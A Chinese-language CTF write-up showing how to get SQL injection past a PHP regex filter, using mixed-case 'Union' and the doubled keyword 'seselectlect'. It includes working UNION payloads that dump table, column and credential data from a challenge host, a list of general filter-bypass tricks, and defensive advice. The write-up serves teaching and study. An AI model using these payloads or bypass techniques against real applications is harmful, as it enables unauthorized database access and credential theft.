CTF 实战:PHP 正则过滤下的 SQL 注入双写绕过完整复现
这是一道经典的 CTF Web 安全题,核心考点是PHP preg_match/preg_replace 组合过滤下的 SQL 注入绕过,通过大小写变形 + 双写关键词,成功突破防护拿到 Flag,全程保姆级复现。
一、题目环境与源码分析
1. 题目环境
目标 URL:http://180.76.235.121:33259/?id=1 请求方式:GET 型 漏洞类型:字符型 SQL 注入
2. 关键防护代码解析
题目给出了核心的 PHP 过滤逻辑,我们逐行拆解:
php
运行
<?php
// 提示代码(其他代码未指出):
if (preg_match('/union/', $id)) {
die('no union');
}
$id = preg_replace('/select/i', '', $id);
?>
- 防护 1:
preg_match('/union/', $id)无/i修饰符,仅匹配小写的union关键词,一旦匹配成功,直接终止程序并输出no union。 - 防护 2:
preg_replace('/select/i', '', $id)带/i修饰符,不区分大小写匹配select,并将匹配到的内容替换为空字符串,实现 “删除” 效果。
二、绕过思路拆解
我们的目标是构造能同时绕过两层防护的 SQL 注入 Payload,核心思路分为两步:
1. 绕过union的preg_match过滤
由于正则/union/仅匹配小写,我们可以直接使用大小写变形绕过:
- 原关键词:
union - 变形后:
Union/UNION/uNiOn(只要不全小写即可) - 原理:
preg_match('/union/', $id)只会识别连续的小写字母,对大小写混合的变形不敏感。
2. 绕过select的preg_replace过滤
preg_replace的特性是单次匹配替换,我们可以利用 “双写关键词” 的方式,让中间的select被替换为空,前后部分拼接还原出完整的select:
- 原关键词:
select - 变形后:
seselectlect - 替换过程:
seselectlect→ 匹配中间的select并替换为空 → 拼接得到select
三、实战步骤与 Payload 构造
步骤 1:确认注入点与闭合方式
- 正常访问:
/?id=1,页面正常输出内容。 - 测试注入:
/?id=1',页面报错,说明是字符型注入,需要用单引号'闭合 SQL 语句。
步骤 2:构造绕过的联合查询 Payload
结合前面的绕过思路,我们先构造查询当前数据库名的 Payload:
plaintext
?id=1' Union seselectlect 1,database() %23
1':闭合原 SQL 语句的单引号,让后续语句能被执行。Union:大写变形,绕过preg_match的union小写匹配。seselectlect:双写select,绕过preg_replace的删除逻辑,还原为select。1,database():联合查询的字段(这里是 2 列,对应两个位置),查询当前数据库名。%23:URL 编码的#,用于注释掉原 SQL 语句后面的内容,避免语法错误。
步骤 3:执行 Payload 并获取关键信息
发送上述 Payload 后,页面成功返回了数据库信息,并给出提示:
好像报错注入也用不了,不显示报错内容啊!数据库名是一个文件名,访问这个文件试试!
这说明我们的 Payload 已经成功绕过防护并执行了 SQL 语句,接下来可以继续用同样的方式查询表名、列名和 Flag。
四、完整注入流程与 Flag 获取
1. 查询表名
plaintext
?id=1' Union seselectlect 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
执行后得到表名:users
2. 查询列名
plaintext
?id=1' Union seselectlect 1,group_concat(column_name) from information_schema.columns where table_name='users' %23
执行后得到列名:id,username,password
3. 查询用户数据与 Flag
plaintext
?id=1' Union seselectlect 1,concat(username,':',password) from users %23
执行后成功拿到数据,其中password字段即为 Flag: username:1 password:flag_0fb5aa9e7.txt
五、原理总结与拓展
1. 本次绕过的核心原理
表格
| 防护方式 | 绕过方法 | 原理说明 |
|---|---|---|
preg_match('/union/', $id) |
大小写变形(如Union) |
正则无/i修饰符,仅匹配小写关键词 |
preg_replace('/select/i', '', $id) |
双写关键词(如seselectlect) |
单次替换特性,中间的关键词被删除后,前后拼接还原 |
2. 同类过滤的通用绕过技巧
表格
| 过滤场景 | 绕过方式 | 示例 |
|---|---|---|
无大小写匹配的preg_match |
大小写变形、插入注释 | KeyWord、key/*word*/ |
不区分大小写的preg_replace |
双写关键词、嵌套关键词 | kekeywordyword → 替换后为keyword |
| 多关键词过滤 | 编码绕过(URL 编码、Unicode 编码)、分段拼接 | %73%65%6c%65%63%74(URL 编码的select) |
3. 防御建议
- 正则匹配必须添加
/i修饰符,实现大小写不敏感匹配; - 对输入进行多次循环过滤,避免单次替换的绕过;
- 禁止直接拼接用户输入到 SQL 语句,使用预编译语句(Prepared Statement) 从根本上防止 SQL 注入。
六、结语
这道题是 CTF 中非常经典的 “正则过滤绕过 SQL 注入” 题,核心在于理解preg_match和preg_replace的执行顺序与特性,利用大小写和双写的组合技巧突破防护。这类题目不仅能帮我们深入理解 WAF 的防护逻辑,也能为后续更复杂的绕过场景打下基础。
更多推荐
所有评论(0)